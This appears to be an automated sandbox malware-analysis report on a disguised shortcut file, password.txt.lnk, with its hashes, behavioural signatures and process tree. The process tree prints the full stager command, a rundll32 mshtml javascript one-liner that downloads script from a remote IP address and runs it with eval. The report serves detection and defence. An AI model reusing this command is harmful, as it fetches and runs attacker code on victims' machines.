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Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
04/10/2023, 18:55
Static task
static1
Behavioral task
behavioral1
Sample
password.txt.lnk
Resource
win7-20230831-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
password.txt.lnk
Resource
win10v2004-20230915-en
4 signatures
150 seconds
General
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Target
password.txt.lnk
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Size
2KB
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MD5
606e4190bb7ccc8cd7a07abd0ea80508
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SHA1
e4ea5d93133016d0e8b454e3449b1f89c6a377eb
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SHA256
443f05d26f6c05ad62a45b0fc5fe620e006702cff3b28606fcfc08fffd762a40
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SHA512
a9102e9bc1cf6155f59969eb85de86b24d37024e3bdfb9490c7689f28ee387cfc5199cc5eac81f167e7348523166f5ff7a3d9cb72cf83639ec9c3f156140f535
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 2 2764 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2988 wrote to memory of 2756 2988 cmd.exe 29 PID 2988 wrote to memory of 2756 2988 cmd.exe 29 PID 2988 wrote to memory of 2756 2988 cmd.exe 29 PID 2756 wrote to memory of 2764 2756 cmd.exe 30 PID 2756 wrote to memory of 2764 2756 cmd.exe 30 PID 2756 wrote to memory of 2764 2756 cmd.exe 30
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\password.txt.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B rundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();2⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\System32\rundll32.exerundll32 javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://185.244.51.134:6600/init",false);x.send();eval(x.responseText);window.close();3⤵
- Blocklisted process makes network request
PID:2764
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